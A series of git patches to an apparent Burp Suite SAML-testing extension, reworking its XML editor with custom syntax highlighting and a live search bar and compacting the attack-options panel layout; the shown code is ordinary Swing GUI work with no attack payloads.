- @Override - public void changedUpdate(DocumentEvent e) { - onChange(); - } - - private void onChange() { - if (!suppressModifiedFlag) { - modified.set(true); - } - } - }); - - var scroll = new RTextScrollPane(textArea); - scroll.setBorder(null); - - add(scroll, BorderLayout.CENTER); - - // NOTE: do NOT call applyThemeToComponent() here — it recurses into - // RSyntaxTextArea's internal components and can break editability / key bindings. - // We handle theming manually via applyBurpTheme(). - } - - public void applyBurpTheme() { - Theme theme = BurpExtender.api.userInterface().currentTheme(); - - // Conservative palette: readable, high contrast, but not blinding. - if (theme == Theme.DARK) { - textArea.setBackground(new Color(0x1E1F22)); - textArea.setForeground(new Color(0xD6D6D6)); - textArea.setCaretColor(new Color(0xEDEDED)); - textArea.setSelectionColor(new Color(0x264F78)); - textArea.setCurrentLineHighlightColor(new Color(0x2A2D2E)); - textArea.setFadeCurrentLineHighlight(true); - textArea.setLineWrap(false); - textArea.setMarginLineEnabled(false); - } else { - textArea.setBackground(Color.WHITE); - textArea.setForeground(new Color(0x1F2328)); - textArea.setCaretColor(Color.BLACK); - textArea.setSelectionColor(new Color(0xBBDDFF)); - textArea.setCurrentLineHighlightColor(new Color(0xF2F6FF)); - textArea.setFadeCurrentLineHighlight(true); - textArea.setLineWrap(false); - textArea.setMarginLineEnabled(false); - } - - // Repaint on EDT - SwingUtilities.invokeLater(textArea::repaint); + rawEditor = BurpExtender.api.userInterface().createRawEditor(); + add(rawEditor.uiComponent(), BorderLayout.CENTER); } public void setText(String text) { - suppressModifiedFlag = true; - try { - textArea.setText(Objects.requireNonNullElse(text, "")); - textArea.setCaretPosition(0); - modified.set(false); - } finally { - suppressModifiedFlag = false; - } + rawEditor.setContents(ByteArray.byteArray(text != null ? text : "")); } public String getText() { - return textArea.getText(); + return rawEditor.getContents().toString(); } public void setEditable(boolean editable) { - textArea.setEditable(editable); - textArea.setEnabled(true); - textArea.setFocusable(true); + rawEditor.setEditable(editable); } public boolean isModified() { - return modified.get(); + return rawEditor.isModified(); } public void resetModified() { - modified.set(false); + // RawEditor resets its modified flag when setContents is called, + // so re-set the current contents to clear it. + rawEditor.setContents(rawEditor.getContents()); } public String selectedText() { - return textArea.getSelectedText(); + return rawEditor.selection() + .map(sel -> sel.contents().toString()) + .orElse(null); } } From 6a108ad571a9b8732e5e9d496afcc3848ee19212 Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 15:47:49 -0500 Subject: [PATCH 07/27] Restore XML syntax highlighting with RSyntaxTextArea Use plain JScrollPane instead of RTextScrollPane to avoid focus/input conflicts in Burp's Swing environment. Set thread context ClassLoader during construction so RSyntaxTextArea can load its internal resources through Burp's plugin ClassLoader. Theme colors applied manually to match Burp dark/light mode. --- src/main/java/gui/SamlXmlEditor.java | 121 ++++++++++++++++++++++----- 1 file changed, 102 insertions(+), 19 deletions(-) diff --git a/src/main/java/gui/SamlXmlEditor.java b/src/main/java/gui/SamlXmlEditor.java index dd9a7fd..af1d8c5 100644 --- a/src/main/java/gui/SamlXmlEditor.java +++ b/src/main/java/gui/SamlXmlEditor.java @@ -1,56 +1,139 @@ package gui; import burp.BurpExtender; -import burp.api.montoya.core.ByteArray; -import burp.api.montoya.ui.editor.EditorOptions; -import burp.api.montoya.ui.editor.RawEditor; +import burp.api.montoya.ui.Theme; import java.awt.BorderLayout; +import java.awt.Color; +import java.awt.Font; import java.io.Serial; +import java.util.Objects; +import java.util.concurrent.atomic.AtomicBoolean; import javax.swing.JPanel; +import javax.swing.JScrollPane; +import javax.swing.SwingUtilities; +import javax.swing.event.DocumentEvent; +import javax.swing.event.DocumentListener; +import org.fife.ui.rsyntaxtextarea.RSyntaxTextArea; +import org.fife.ui.rsyntaxtextarea.SyntaxConstants; /** - * Thin wrapper around Burp's native RawEditor that exposes a simple - * String-based API. Burp's editor handles theming, editability, and - * basic syntax colouring automatically. + * XML editor with syntax highlighting, backed by RSyntaxTextArea. + * Uses a plain JScrollPane (not RTextScrollPane) to avoid focus/input + * conflicts inside Burp's Swing environment. */ public class SamlXmlEditor extends JPanel { @Serial private static final long serialVersionUID = 1L; - private final RawEditor rawEditor; + private final RSyntaxTextArea textArea; + private final AtomicBoolean modified = new AtomicBoolean(false); + private volatile boolean suppressModified = false; public SamlXmlEditor() { super(new BorderLayout()); - rawEditor = BurpExtender.api.userInterface().createRawEditor(); - add(rawEditor.uiComponent(), BorderLayout.CENTER); + + // Ensure RSyntaxTextArea can load its internal resources through + // Burp's plugin ClassLoader. + ClassLoader origCL = Thread.currentThread().getContextClassLoader(); + Thread.currentThread().setContextClassLoader(RSyntaxTextArea.class.getClassLoader()); + + try { + textArea = new RSyntaxTextArea(20, 80); + textArea.setSyntaxEditingStyle(SyntaxConstants.SYNTAX_STYLE_XML); + textArea.setCodeFoldingEnabled(false); // requires RTextScrollPane — skip it + textArea.setAntiAliasingEnabled(true); + textArea.setBracketMatchingEnabled(true); + textArea.setAutoIndentEnabled(true); + textArea.setMarkOccurrences(true); + textArea.setTabsEmulated(true); + textArea.setTabSize(2); + textArea.setEditable(true); + textArea.setEnabled(true); + textArea.setFocusable(true); + } finally { + Thread.currentThread().setContextClassLoader(origCL); + } + + // Match Burp's editor font + Font burpFont = BurpExtender.api.userInterface().currentEditorFont(); + if (burpFont != null) { + textArea.setFont(burpFont); + } + + applyBurpTheme(); + + // Track modifications + textArea.getDocument().addDocumentListener(new DocumentListener() { + @Override public void insertUpdate(DocumentEvent e) { onChange(); } + @Override public void removeUpdate(DocumentEvent e) { onChange(); } + @Override public void changedUpdate(DocumentEvent e) { onChange(); } + private void onChange() { + if (!suppressModified) { + modified.set(true); + } + } + }); + + // Plain JScrollPane — avoids the focus/input issues that + // RTextScrollPane causes inside Burp's component hierarchy. + var scroll = new JScrollPane(textArea); + scroll.setBorder(null); + add(scroll, BorderLayout.CENTER); + } + + private void applyBurpTheme() { + Theme theme = BurpExtender.api.userInterface().currentTheme(); + + if (theme == Theme.DARK) { + textArea.setBackground(new Color(0x1E1F22)); + textArea.setForeground(new Color(0xD6D6D6)); + textArea.setCaretColor(new Color(0xEDEDED)); + textArea.setSelectionColor(new Color(0x264F78)); + textArea.setCurrentLineHighlightColor(new Color(0x2A2D2E)); + } else { + textArea.setBackground(Color.WHITE); + textArea.setForeground(new Color(0x1F2328)); + textArea.setCaretColor(Color.BLACK); + textArea.setSelectionColor(new Color(0xBBDDFF)); + textArea.setCurrentLineHighlightColor(new Color(0xF2F6FF)); + } + + textArea.setFadeCurrentLineHighlight(true); + textArea.setLineWrap(false); + textArea.setMarginLineEnabled(false); } public void setText(String text) { - rawEditor.setContents(ByteArray.byteArray(text != null ? text : "")); + suppressModified = true; + try { + textArea.setText(Objects.requireNonNullElse(text, "")); + textArea.setCaretPosition(0); + modified.set(false); + } finally { + suppressModified = false; + } } public String getText() { - return rawEditor.getContents().toString(); + return textArea.getText(); } public void setEditable(boolean editable) { - rawEditor.setEditable(editable); + textArea.setEditable(editable); + textArea.setEnabled(true); + textArea.setFocusable(true); } public boolean isModified() { - return rawEditor.isModified(); + return modified.get(); } public void resetModified() { - // RawEditor resets its modified flag when setContents is called, - // so re-set the current contents to clear it. - rawEditor.setContents(rawEditor.getContents()); + modified.set(false); } public String selectedText() { - return rawEditor.selection() - .map(sel -> sel.contents().toString()) - .orElse(null); + return textArea.getSelectedText(); } } From d2514e905c79f6a2c903ded2eb022178494a8317 Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 15:55:14 -0500 Subject: [PATCH 08/27] Replace RSyntaxTextArea with custom JTextPane XML highlighter MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit RSyntaxTextArea breaks keyboard input inside Burp's Swing environment. Replaced with a pure-Swing JTextPane + state-machine tokenizer that colors XML tags, attributes, values, comments, CDATA, and PIs. No external dependency — zero Swing/ClassLoader conflicts. - Debounced highlighting (150ms) for smooth typing - Dark/light theme support matching Burp - Horizontal scroll (no line wrapping) - Removed RSyntaxTextArea dependency from build --- build.gradle | 1 - gradle/libs.versions.toml | 2 - src/main/java/gui/SamlXmlEditor.java | 294 ++++++++++++++++++++------- 3 files changed, 223 insertions(+), 74 deletions(-) diff --git a/build.gradle b/build.gradle index f73e253..d764c15 100644 --- a/build.gradle +++ b/build.gradle @@ -25,7 +25,6 @@ dependencies { implementation libs.com.sun.xml.security.xml.security.impl implementation libs.org.apache.santuario.xmlsec implementation libs.xerces.xercesimpl - implementation libs.rsyntaxtextarea testImplementation libs.com.formdev.flatlaf testImplementation libs.net.portswigger.burp.extensions.montoya.api diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index f7a43ce..881deb4 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -8,7 +8,6 @@ org-apache-santuario-xmlsec = "2.1.7" org-bouncycastle-bcpkix-jdk15on = "1.52" org-junit-jupiter = "5.10.2" xerces-xercesimpl = "2.12.2" -rsyntaxtextarea = "3.5.4" [libraries] com-formdev-flatlaf = { module = "com.formdev:flatlaf", version.ref = "com-formdev-flatlaf"} @@ -20,4 +19,3 @@ org-apache-santuario-xmlsec = { module = "org.apache.santuario:xmlsec", version. org-bouncycastle-bcpkix-jdk15on = { module = "org.bouncycastle:bcpkix-jdk15on", version.ref = "org-bouncycastle-bcpkix-jdk15on" } org-junit-jupiter = { module = "org.junit.jupiter:junit-jupiter", version.ref = "org-junit-jupiter" } xerces-xercesimpl = { module = "xerces:xercesImpl", version.ref = "xerces-xercesimpl" } -rsyntaxtextarea = { module = "com.fifesoft:rsyntaxtextarea", version.ref = "rsyntaxtextarea" } diff --git a/src/main/java/gui/SamlXmlEditor.java b/src/main/java/gui/SamlXmlEditor.java index af1d8c5..53a8532 100644 --- a/src/main/java/gui/SamlXmlEditor.java +++ b/src/main/java/gui/SamlXmlEditor.java @@ -4,125 +4,277 @@ import burp.api.montoya.ui.Theme; import java.awt.BorderLayout; import java.awt.Color; +import java.awt.Component; import java.awt.Font; import java.io.Serial; -import java.util.Objects; +import java.util.Arrays; import java.util.concurrent.atomic.AtomicBoolean; import javax.swing.JPanel; import javax.swing.JScrollPane; -import javax.swing.SwingUtilities; +import javax.swing.JTextPane; +import javax.swing.Timer; import javax.swing.event.DocumentEvent; import javax.swing.event.DocumentListener; -import org.fife.ui.rsyntaxtextarea.RSyntaxTextArea; -import org.fife.ui.rsyntaxtextarea.SyntaxConstants; +import javax.swing.text.BadLocationException; +import javax.swing.text.DefaultStyledDocument; +import javax.swing.text.SimpleAttributeSet; +import javax.swing.text.StyleConstants; /** - * XML editor with syntax highlighting, backed by RSyntaxTextArea. - * Uses a plain JScrollPane (not RTextScrollPane) to avoid focus/input - * conflicts inside Burp's Swing environment. + * Editable XML editor with syntax highlighting, built on JTextPane. + * Uses a simple state-machine tokenizer — no external library needed, + * so no Swing/ClassLoader conflicts inside Burp. */ public class SamlXmlEditor extends JPanel { @Serial private static final long serialVersionUID = 1L; - private final RSyntaxTextArea textArea; + private enum Tk { TEXT, BRACKET, TAG_NAME, ATTR_NAME, ATTR_VALUE, COMMENT, CDATA, PI } + + private final JTextPane textPane; + private final DefaultStyledDocument doc; + private final Timer highlightTimer; private final AtomicBoolean modified = new AtomicBoolean(false); - private volatile boolean suppressModified = false; + private volatile boolean suppressEvents = false; + + // Attribute sets for each token type + private final SimpleAttributeSet aDefault = new SimpleAttributeSet(); + private final SimpleAttributeSet aBracket = new SimpleAttributeSet(); + private final SimpleAttributeSet aTagName = new SimpleAttributeSet(); + private final SimpleAttributeSet aAttrName = new SimpleAttributeSet(); + private final SimpleAttributeSet aAttrValue = new SimpleAttributeSet(); + private final SimpleAttributeSet aComment = new SimpleAttributeSet(); + private final SimpleAttributeSet aCdata = new SimpleAttributeSet(); + private final SimpleAttributeSet aPi = new SimpleAttributeSet(); public SamlXmlEditor() { super(new BorderLayout()); - // Ensure RSyntaxTextArea can load its internal resources through - // Burp's plugin ClassLoader. - ClassLoader origCL = Thread.currentThread().getContextClassLoader(); - Thread.currentThread().setContextClassLoader(RSyntaxTextArea.class.getClassLoader()); + doc = new DefaultStyledDocument(); - try { - textArea = new RSyntaxTextArea(20, 80); - textArea.setSyntaxEditingStyle(SyntaxConstants.SYNTAX_STYLE_XML); - textArea.setCodeFoldingEnabled(false); // requires RTextScrollPane — skip it - textArea.setAntiAliasingEnabled(true); - textArea.setBracketMatchingEnabled(true); - textArea.setAutoIndentEnabled(true); - textArea.setMarkOccurrences(true); - textArea.setTabsEmulated(true); - textArea.setTabSize(2); - textArea.setEditable(true); - textArea.setEnabled(true); - textArea.setFocusable(true); - } finally { - Thread.currentThread().setContextClassLoader(origCL); - } + // Override to disable word-wrapping (XML reads better with horiz scroll) + textPane = new JTextPane(doc) { + @Serial + private static final long serialVersionUID = 1L; + @Override + public boolean getScrollableTracksViewportWidth() { + Component parent = getParent(); + if (parent == null) return true; + return getUI().getPreferredSize(this).width <= parent.getWidth(); + } + }; - // Match Burp's editor font + textPane.setEditable(true); + textPane.setEnabled(true); + textPane.setFocusable(true); + + // Font: prefer Burp's editor font, fall back to monospaced Font burpFont = BurpExtender.api.userInterface().currentEditorFont(); - if (burpFont != null) { - textArea.setFont(burpFont); - } + Font font = (burpFont != null) ? burpFont : new Font(Font.MONOSPACED, Font.PLAIN, 13); + textPane.setFont(font); + + applyThemeColors(font); - applyBurpTheme(); + // Debounced highlighting: re-color 150 ms after last keystroke + highlightTimer = new Timer(150, e -> applyHighlighting()); + highlightTimer.setRepeats(false); - // Track modifications - textArea.getDocument().addDocumentListener(new DocumentListener() { - @Override public void insertUpdate(DocumentEvent e) { onChange(); } - @Override public void removeUpdate(DocumentEvent e) { onChange(); } - @Override public void changedUpdate(DocumentEvent e) { onChange(); } - private void onChange() { - if (!suppressModified) { + doc.addDocumentListener(new DocumentListener() { + @Override public void insertUpdate(DocumentEvent e) { onEdit(); } + @Override public void removeUpdate(DocumentEvent e) { onEdit(); } + @Override public void changedUpdate(DocumentEvent e) { /* style changes — ignore */ } + private void onEdit() { + if (!suppressEvents) { modified.set(true); + highlightTimer.restart(); } } }); - // Plain JScrollPane — avoids the focus/input issues that - // RTextScrollPane causes inside Burp's component hierarchy. - var scroll = new JScrollPane(textArea); + var scroll = new JScrollPane(textPane); scroll.setBorder(null); add(scroll, BorderLayout.CENTER); } - private void applyBurpTheme() { - Theme theme = BurpExtender.api.userInterface().currentTheme(); - - if (theme == Theme.DARK) { - textArea.setBackground(new Color(0x1E1F22)); - textArea.setForeground(new Color(0xD6D6D6)); - textArea.setCaretColor(new Color(0xEDEDED)); - textArea.setSelectionColor(new Color(0x264F78)); - textArea.setCurrentLineHighlightColor(new Color(0x2A2D2E)); - } else { - textArea.setBackground(Color.WHITE); - textArea.setForeground(new Color(0x1F2328)); - textArea.setCaretColor(Color.BLACK); - textArea.setSelectionColor(new Color(0xBBDDFF)); - textArea.setCurrentLineHighlightColor(new Color(0xF2F6FF)); + /* ------------------------------------------------------------------ */ + /* Theme */ + /* ------------------------------------------------------------------ */ + + private void applyThemeColors(Font font) { + boolean dark = BurpExtender.api.userInterface().currentTheme() == Theme.DARK; + + textPane.setBackground(dark ? new Color(0x1E1F22) : Color.WHITE); + textPane.setForeground(dark ? new Color(0xD6D6D6) : new Color(0x1F2328)); + textPane.setCaretColor(dark ? new Color(0xEDEDED) : Color.BLACK); + textPane.setSelectionColor(dark ? new Color(0x264F78) : new Color(0xBBDDFF)); + + setAttr(aDefault, font, dark ? 0xD6D6D6 : 0x1F2328, false); + setAttr(aBracket, font, dark ? 0x808080 : 0x333333, false); + setAttr(aTagName, font, dark ? 0x569CD6 : 0x0000FF, false); + setAttr(aAttrName, font, dark ? 0x9CDCFE : 0xA31515, false); + setAttr(aAttrValue, font, dark ? 0xCE9178 : 0x0451A5, false); + setAttr(aComment, font, dark ? 0x6A9955 : 0x008000, true); + setAttr(aCdata, font, dark ? 0xD7BA7D : 0x800000, false); + setAttr(aPi, font, dark ? 0x808080 : 0x808080, true); + } + + private static void setAttr(SimpleAttributeSet a, Font font, int rgb, boolean italic) { + StyleConstants.setFontFamily(a, font.getFamily()); + StyleConstants.setFontSize(a, font.getSize()); + StyleConstants.setForeground(a, new Color(rgb)); + StyleConstants.setItalic(a, italic); + StyleConstants.setBold(a, false); + } + + /* ------------------------------------------------------------------ */ + /* XML tokenizer (state machine) */ + /* ------------------------------------------------------------------ */ + + private Tk[] tokenize(String text) { + Tk[] tokens = new Tk[text.length()]; + Arrays.fill(tokens, Tk.TEXT); + int len = text.length(); + int i = 0; + + while (i < len) { + if (text.charAt(i) != '<') { i++; continue; } + + if (regionMatches(text, i, "", i + 4); + int endPos = (end == -1) ? len : end + 3; + Arrays.fill(tokens, i, Math.min(endPos, len), Tk.COMMENT); + i = endPos; + } else if (regionMatches(text, i, "", i + 9); + int endPos = (end == -1) ? len : end + 3; + Arrays.fill(tokens, i, Math.min(endPos, len), Tk.CDATA); + i = endPos; + } else if (i + 1 < len && text.charAt(i + 1) == '?') { + int end = text.indexOf("?>", i + 2); + int endPos = (end == -1) ? len : end + 2; + Arrays.fill(tokens, i, Math.min(endPos, len), Tk.PI); + i = endPos; + } else { + // Regular tag: or + tokens[i++] = Tk.BRACKET; // < + if (i < len && text.charAt(i) == '/') { + tokens[i++] = Tk.BRACKET; // / + } + while (i < len && isNameChar(text.charAt(i))) { + tokens[i++] = Tk.TAG_NAME; + } + i = tokenizeInsideTag(text, tokens, i); + } + } + return tokens; + } + + /** Tokenize attribute region inside a tag until closing '>' */ + private int tokenizeInsideTag(String text, Tk[] tokens, int i) { + int len = text.length(); + while (i < len) { + char c = text.charAt(i); + if (c == '>') { + tokens[i++] = Tk.BRACKET; + return i; + } else if (c == '/') { + tokens[i++] = Tk.BRACKET; + } else if (c == '=') { + tokens[i++] = Tk.BRACKET; + } else if (c == '"' || c == '\'') { + char q = c; + tokens[i++] = Tk.ATTR_VALUE; + while (i < len && text.charAt(i) != q) { tokens[i++] = Tk.ATTR_VALUE; } + if (i < len) { tokens[i++] = Tk.ATTR_VALUE; } // closing quote + } else if (isNameStartChar(c)) { + while (i < len && isNameChar(text.charAt(i))) { tokens[i++] = Tk.ATTR_NAME; } + } else { + i++; // whitespace + } } + return i; + } - textArea.setFadeCurrentLineHighlight(true); - textArea.setLineWrap(false); - textArea.setMarginLineEnabled(false); + /* ------------------------------------------------------------------ */ + /* Apply highlighting */ + /* ------------------------------------------------------------------ */ + + private void applyHighlighting() { + String text; + try { text = doc.getText(0, doc.getLength()); } + catch (BadLocationException e) { return; } + if (text.isEmpty()) return; + + Tk[] tokens = tokenize(text); + + // Group consecutive same-type tokens into runs and apply style per run + int runStart = 0; + Tk runType = tokens[0]; + for (int i = 1; i <= tokens.length; i++) { + Tk t = (i < tokens.length) ? tokens[i] : null; + if (t != runType) { + doc.setCharacterAttributes(runStart, i - runStart, attrFor(runType), true); + runStart = i; + runType = t; + } + } } + private SimpleAttributeSet attrFor(Tk token) { + return switch (token) { + case BRACKET -> aBracket; + case TAG_NAME -> aTagName; + case ATTR_NAME -> aAttrName; + case ATTR_VALUE -> aAttrValue; + case COMMENT -> aComment; + case CDATA -> aCdata; + case PI -> aPi; + default -> aDefault; + }; + } + + /* ------------------------------------------------------------------ */ + /* Char classification helpers */ + /* ------------------------------------------------------------------ */ + + private static boolean regionMatches(String text, int pos, String prefix) { + return text.regionMatches(pos, prefix, 0, prefix.length()); + } + + private static boolean isNameStartChar(char c) { + return Character.isLetter(c) || c == '_' || c == ':'; + } + + private static boolean isNameChar(char c) { + return Character.isLetterOrDigit(c) || c == ':' || c == '-' || c == '.' || c == '_'; + } + + /* ------------------------------------------------------------------ */ + /* Public API */ + /* ------------------------------------------------------------------ */ + public void setText(String text) { - suppressModified = true; + suppressEvents = true; try { - textArea.setText(Objects.requireNonNullElse(text, "")); - textArea.setCaretPosition(0); + textPane.setText(text != null ? text : ""); + textPane.setCaretPosition(0); modified.set(false); } finally { - suppressModified = false; + suppressEvents = false; } + applyHighlighting(); } public String getText() { - return textArea.getText(); + try { return doc.getText(0, doc.getLength()); } + catch (BadLocationException e) { return textPane.getText(); } } public void setEditable(boolean editable) { - textArea.setEditable(editable); - textArea.setEnabled(true); - textArea.setFocusable(true); + textPane.setEditable(editable); + textPane.setEnabled(true); + textPane.setFocusable(true); } public boolean isModified() { @@ -134,6 +286,6 @@ public void resetModified() { } public String selectedText() { - return textArea.getSelectedText(); + return textPane.getSelectedText(); } } From f6b202c35e7facc823f6abea4f91f071d37c8e90 Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 16:01:09 -0500 Subject: [PATCH 09/27] Add live search bar to XML editor MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Type to search — all matches highlighted, auto-scrolls to first match. Enter = next match, Shift+Enter = previous, Escape = clear. Match counter shows current position (e.g. 3 / 12). --- src/main/java/gui/SamlXmlEditor.java | 141 +++++++++++++++++++++++++++ 1 file changed, 141 insertions(+) diff --git a/src/main/java/gui/SamlXmlEditor.java b/src/main/java/gui/SamlXmlEditor.java index 53a8532..b4894d9 100644 --- a/src/main/java/gui/SamlXmlEditor.java +++ b/src/main/java/gui/SamlXmlEditor.java @@ -5,18 +5,26 @@ import java.awt.BorderLayout; import java.awt.Color; import java.awt.Component; +import java.awt.Dimension; import java.awt.Font; +import java.awt.event.KeyAdapter; +import java.awt.event.KeyEvent; import java.io.Serial; import java.util.Arrays; import java.util.concurrent.atomic.AtomicBoolean; +import javax.swing.BorderFactory; +import javax.swing.JLabel; import javax.swing.JPanel; import javax.swing.JScrollPane; +import javax.swing.JTextField; import javax.swing.JTextPane; import javax.swing.Timer; import javax.swing.event.DocumentEvent; import javax.swing.event.DocumentListener; import javax.swing.text.BadLocationException; +import javax.swing.text.DefaultHighlighter; import javax.swing.text.DefaultStyledDocument; +import javax.swing.text.Highlighter; import javax.swing.text.SimpleAttributeSet; import javax.swing.text.StyleConstants; @@ -38,6 +46,13 @@ private enum Tk { TEXT, BRACKET, TAG_NAME, ATTR_NAME, ATTR_VALUE, COMMENT, CDATA private final AtomicBoolean modified = new AtomicBoolean(false); private volatile boolean suppressEvents = false; + // Search + private final JTextField searchField; + private final JLabel searchStatus; + private final Highlighter.HighlightPainter searchPainter; + private int currentMatchIndex = -1; + private int[] matchPositions = new int[0]; // start positions of all matches + // Attribute sets for each token type private final SimpleAttributeSet aDefault = new SimpleAttributeSet(); private final SimpleAttributeSet aBracket = new SimpleAttributeSet(); @@ -95,6 +110,49 @@ private void onEdit() { var scroll = new JScrollPane(textPane); scroll.setBorder(null); add(scroll, BorderLayout.CENTER); + + // --- Search bar --- + boolean dark = BurpExtender.api.userInterface().currentTheme() == Theme.DARK; + searchPainter = new DefaultHighlighter.DefaultHighlightPainter( + dark ? new Color(0x806030) : new Color(0xFFE08A)); + + searchField = new JTextField(); + searchField.setFont(font.deriveFont(Font.PLAIN, 12f)); + searchField.setPreferredSize(new Dimension(220, 26)); + searchField.setToolTipText("Search XML (Enter = next, Shift+Enter = previous, Esc = close)"); + + searchStatus = new JLabel(""); + searchStatus.setFont(font.deriveFont(Font.PLAIN, 11f)); + searchStatus.setForeground(dark ? new Color(0x999999) : new Color(0x666666)); + + // Live search as you type + searchField.getDocument().addDocumentListener(new DocumentListener() { + @Override public void insertUpdate(DocumentEvent e) { doSearch(); } + @Override public void removeUpdate(DocumentEvent e) { doSearch(); } + @Override public void changedUpdate(DocumentEvent e) { doSearch(); } + }); + + // Enter = next match, Shift+Enter = prev, Escape = hide + searchField.addKeyListener(new KeyAdapter() { + @Override + public void keyPressed(KeyEvent e) { + if (e.getKeyCode() == KeyEvent.VK_ENTER) { + if (e.isShiftDown()) jumpToMatch(-1); else jumpToMatch(1); + } else if (e.getKeyCode() == KeyEvent.VK_ESCAPE) { + clearSearch(); + textPane.requestFocusInWindow(); + } + } + }); + + var searchBar = new JPanel(new BorderLayout(6, 0)); + searchBar.setBorder(BorderFactory.createEmptyBorder(3, 6, 3, 6)); + var searchLabel = new JLabel("Find:"); + searchLabel.setFont(font.deriveFont(Font.PLAIN, 12f)); + searchBar.add(searchLabel, BorderLayout.WEST); + searchBar.add(searchField, BorderLayout.CENTER); + searchBar.add(searchStatus, BorderLayout.EAST); + add(searchBar, BorderLayout.SOUTH); } /* ------------------------------------------------------------------ */ @@ -254,6 +312,89 @@ private static boolean isNameChar(char c) { /* Public API */ /* ------------------------------------------------------------------ */ + /* ------------------------------------------------------------------ */ + /* Search */ + /* ------------------------------------------------------------------ */ + + private void doSearch() { + textPane.getHighlighter().removeAllHighlights(); + String query = searchField.getText(); + if (query == null || query.isEmpty()) { + searchStatus.setText(""); + matchPositions = new int[0]; + currentMatchIndex = -1; + return; + } + + String text; + try { text = doc.getText(0, doc.getLength()); } + catch (BadLocationException e) { return; } + + String lowerText = text.toLowerCase(); + String lowerQuery = query.toLowerCase(); + + // Find all matches + java.util.List positions = new java.util.ArrayList<>(); + int idx = 0; + while ((idx = lowerText.indexOf(lowerQuery, idx)) != -1) { + positions.add(idx); + try { + textPane.getHighlighter().addHighlight(idx, idx + query.length(), searchPainter); + } catch (BadLocationException ignored) {} + idx += query.length(); + } + + matchPositions = positions.stream().mapToInt(Integer::intValue).toArray(); + + if (matchPositions.length == 0) { + searchStatus.setText("No matches"); + currentMatchIndex = -1; + } else { + currentMatchIndex = 0; + scrollToMatch(0); + updateSearchStatus(); + } + } + + private void jumpToMatch(int direction) { + if (matchPositions.length == 0) return; + currentMatchIndex = (currentMatchIndex + direction + matchPositions.length) % matchPositions.length; + scrollToMatch(currentMatchIndex); + updateSearchStatus(); + } + + private void scrollToMatch(int index) { + if (index < 0 || index >= matchPositions.length) return; + int pos = matchPositions[index]; + textPane.setCaretPosition(pos); + // Select the match so it's visually obvious + textPane.setSelectionStart(pos); + textPane.setSelectionEnd(pos + searchField.getText().length()); + try { + textPane.scrollRectToVisible(textPane.modelToView2D(pos).getBounds()); + } catch (BadLocationException ignored) {} + } + + private void updateSearchStatus() { + if (matchPositions.length == 0) { + searchStatus.setText("No matches"); + } else { + searchStatus.setText((currentMatchIndex + 1) + " / " + matchPositions.length); + } + } + + private void clearSearch() { + searchField.setText(""); + textPane.getHighlighter().removeAllHighlights(); + matchPositions = new int[0]; + currentMatchIndex = -1; + searchStatus.setText(""); + } + + /* ------------------------------------------------------------------ */ + /* Public API */ + /* ------------------------------------------------------------------ */ + public void setText(String text) { suppressEvents = true; try { From 2af437fd5515e7b33301fa13351ebbba8134caa7 Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 16:06:08 -0500 Subject: [PATCH 10/27] Compact attack panel layout MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Flatten all attack categories into 4 rows instead of 5 titled sections. Replace verbose Help buttons with small '?' buttons. Combine CVE and XML attacks into one row. Reduce panel preferred height from 460px to 130px — gives much more room to the XML editor. --- src/main/java/gui/SamlMain.java | 2 +- src/main/java/gui/SamlPanelAction.java | 108 +++++++++---------------- 2 files changed, 41 insertions(+), 69 deletions(-) diff --git a/src/main/java/gui/SamlMain.java b/src/main/java/gui/SamlMain.java index 878ec65..bf1cf0b 100644 --- a/src/main/java/gui/SamlMain.java +++ b/src/main/java/gui/SamlMain.java @@ -28,7 +28,7 @@ private void initializeUI() { JPanel splitPaneActionTop = new JPanel(); splitPaneActionTop.setLayout(new BorderLayout()); - splitPaneActionTop.setPreferredSize(new Dimension(0, 460)); + splitPaneActionTop.setPreferredSize(new Dimension(0, 130)); splitPaneActionTop.add(panelAction); xmlEditorAction = new SamlXmlEditor(); diff --git a/src/main/java/gui/SamlPanelAction.java b/src/main/java/gui/SamlPanelAction.java index dc72cef..ee8c056 100644 --- a/src/main/java/gui/SamlPanelAction.java +++ b/src/main/java/gui/SamlPanelAction.java @@ -39,7 +39,7 @@ public class SamlPanelAction extends JPanel { private final JButton btnMessageReset = new JButton("Reset Message"); private final JButton btnFormatXml = new JButton("Format XML"); - private final JButton btnXSWHelp = new JButton("Help"); + private final JButton btnXSWHelp = new JButton("?"); private final JComboBox cmbboxXSW = new JComboBox<>(); private final JButton btnXSWPreview = new JButton("Preview in Browser..."); private final JButton btnMatchAndReplace = new JButton("Match and Replace"); @@ -50,9 +50,9 @@ public class SamlPanelAction extends JPanel { private final JComboBox cmbboxCVE = new JComboBox<>(); private final JButton btnCVEApply = new JButton("Apply CVE"); - private final JButton btnCVEHelp = new JButton("Help"); + private final JButton btnCVEHelp = new JButton("?"); - private final JButton btnSignatureHelp = new JButton("Help"); + private final JButton btnSignatureHelp = new JButton("?"); private final JComboBox cmbboxCertificate = new JComboBox<>(); private final JButton btnSignatureRemove = new JButton("Remove Signatures"); private final JButton btnResignAssertion = new JButton("(Re-)Sign Assertion"); @@ -76,95 +76,67 @@ private void initialize() { btnFormatXml.addActionListener(event -> controller.formatXml()); - var samlMessagePanel = new JPanel(); - samlMessagePanel.setBorder(BorderFactory.createTitledBorder("SAML Message")); - samlMessagePanel.setLayout(new MigLayout()); - samlMessagePanel.add(btnMessageReset, "split 2"); - samlMessagePanel.add(btnFormatXml, "wrap"); - + // --- Wire listeners --- btnXSWHelp.addActionListener(event -> controller.showXSWHelp()); - btnXSWPreview.addActionListener(event -> controller.showXSWPreview()); - btnMatchAndReplace.addActionListener(event -> showMatchAndReplaceDialog()); - btnXSWApply.addActionListener(event -> controller.applyXSW()); - var xswAttacksPanel = new JPanel(); - 